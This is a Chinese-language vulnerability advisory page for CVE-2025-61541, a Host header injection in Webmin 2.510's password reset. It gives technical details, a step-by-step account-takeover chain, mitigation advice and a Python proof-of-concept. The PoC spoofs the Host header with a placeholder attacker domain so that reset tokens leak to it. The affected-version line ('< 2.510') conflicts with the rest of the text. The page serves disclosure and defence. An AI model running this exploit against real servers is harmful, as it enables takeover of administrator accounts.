IPBUF安全漏洞报告
English
CVE-2025-61541 CVSS 7.1 高危

CVE-2025-61541:Webmin 2.510 密码重置功能主机头注入漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-61541
漏洞类型
主机头注入(Host Header Injection)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Webmin

相关标签

主机头注入Host Header InjectionWebmin密码重置账户接管CWE-644高危漏洞网络攻击

漏洞概述

CVE-2025-61541 是存在于 Webmin 2.510 版本中的一个主机头注入(Host Header Injection)漏洞,CVSS 评分为 7.1,严重等级为高危。该漏洞位于 Webmin 的密码重置功能模块(forgot_send.cgi)中,当用户发起密码重置请求时,系统会通过 get_webmin_email_url() 函数构造密码重置链接,而该函数直接使用了 HTTP 请求中的 Host 头来生成完整的 URL。由于 Webmin 未对 Host 头进行严格的校验和过滤,攻击者可以通过篡改 HTTP 请求中的 Host 字段,将恶意的域名注入到发送给用户的密码重置邮件中。当受害者点击邮件中被篡改的重置链接时,重置令牌将被发送到攻击者控制的服务器,攻击者即可利用该令牌重置受害者账户的密码,从而获取目标账户的完全控制权。Webmin 作为一个广泛使用的基于 Web 的系统管理工具,被大量系统管理员用于管理 Linux/Unix 服务器,该漏洞的影响范围较大,可能导致大量服务器面临账户被劫持的风险。

技术细节

Webmin 2.510 的 forgot_send.cgi 文件在处理用户密码重置请求时,调用了 get_webmin_email_url() 函数来构造密码重置链接的 URL。该函数从 HTTP 请求头中直接提取 Host 字段的值,并将其拼接到密码重置链接中,生成形如 http://<Host>/password_reset.cgi?token=<reset_token> 的 URL。由于 Webmin 服务器未对传入的 Host 头进行验证或过滤,攻击者可以通过发送带有伪造 Host 头的 HTTP 请求来控制密码重置链接中的域名部分。

具体利用方式如下:
1. 攻击者向目标 Webmin 服务器的 forgot_send.cgi 端点发送密码重置请求,并在 HTTP 请求中设置伪造的 Host 头,例如:Host: attacker-controlled-domain.com
2. Webmin 服务器接收到请求后,调用 get_webmin_email_url() 函数,使用伪造的 Host 头构造密码重置链接
3. 系统向受害者的注册邮箱发送包含被篡改的重置链接的邮件
4. 受害者收到邮件后,点击重置链接,请求被发送到攻击者控制的域名
5. 攻击者在自己的服务器上捕获包含重置令牌的请求
6. 攻击者使用获取到的重置令牌,通过正常的密码重置流程重置受害者账户的密码
7. 攻击者成功获取目标账户的控制权

该漏洞的根本原因是 Webmin 在构造 URL 时信任了用户可控的 HTTP Host 头,未采用白名单机制或使用配置文件中的固定域名来生成重置链接。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标使用 Webmin 2.510 版本,并确认其暴露了密码重置功能(forgot_send.cgi)
STEP 2
步骤2:构造恶意请求
攻击者向 forgot_send.cgi 发送密码重置请求,并在 HTTP 请求头中伪造 Host 字段,将其设置为攻击者控制的域名
STEP 3
步骤3:触发密码重置邮件
Webmin 服务器使用 get_webmin_email_url() 函数从伪造的 Host 头中提取域名,构造包含恶意域名的密码重置链接,并发送给受害者
STEP 4
步骤4:受害者点击恶意链接
受害者收到密码重置邮件,点击邮件中的重置链接,请求被重定向到攻击者控制的服务器
STEP 5
步骤5:捕获重置令牌
攻击者在其控制的服务器上捕获包含密码重置令牌的请求
STEP 6
步骤6:账户接管
攻击者使用捕获到的重置令牌,通过正常的密码重置流程重置受害者账户的密码,成功接管目标账户
STEP 7
步骤7:权限提升
攻击者利用被接管的 Webmin 管理员账户,对目标服务器执行未授权操作,如读取敏感数据、安装恶意软件或进一步渗透内网

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61541 - Webmin Host Header Injection PoC # This PoC demonstrates how to exploit the Host Header Injection # vulnerability in Webmin 2.510's password reset functionality (forgot_send.cgi) import requests # Target Webmin server URL target_url = "https://target-webmin-server:10000" # Attacker's controlled domain to receive the reset token attacker_domain = "attacker-controlled-domain.com" # Step 1: Send password reset request with manipulated Host header headers = { "Host": attacker_domain, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1" } # Target victim's email address victim_email = "[email protected]" # Password reset endpoint reset_endpoint = "/forgot_send.cgi" # Request payload data = { "email": victim_email, "user": "admin" # target username } print(f"[*] Sending password reset request with manipulated Host header...") print(f"[*] Target: {target_url}{reset_endpoint}") print(f"[*] Spoofed Host: {attacker_domain}") print(f"[*] Victim email: {victim_email}") # Send the request with spoofed Host header response = requests.post( f"{target_url}{reset_endpoint}", headers=headers, data=data, verify=False ) print(f"[*] Response status code: {response.status_code}") if response.status_code == 200: print("[+] Password reset email sent successfully!") print("[+] The reset link in the email will point to the attacker's domain") print("[+] Waiting for victim to click the poisoned link...") print("[+] Once clicked, capture the reset token from the attacker's server logs") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text[:200]}") # Step 2: After capturing the reset token, use it to reset the password # The reset token would be captured on the attacker's server # Example: reset_token = "abc123def456" # captured from attacker server logs # reset_url = f"{target_url}/password_reset.cgi?token={reset_token}" # Then submit new password to complete the account takeover

影响范围

Webmin < 2.510

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)在 Web 服务器(Nginx/Apache)层面配置 Host 头白名单,拒绝包含非预期 Host 值的请求;2)在反向代理或负载均衡器中设置固定的服务器名称,避免将客户端的 Host 头直接传递给后端 Webmin 服务;3)暂时禁用 Webmin 的密码重置功能(forgot_send.cgi),要求管理员通过其他安全渠道为用户重置密码;4)监控 Webmin 的密码重置日志,及时发现异常的密码重置请求;5)为所有 Webmin 账户启用双因素认证,即使攻击者获取了重置令牌也需要通过第二因素验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表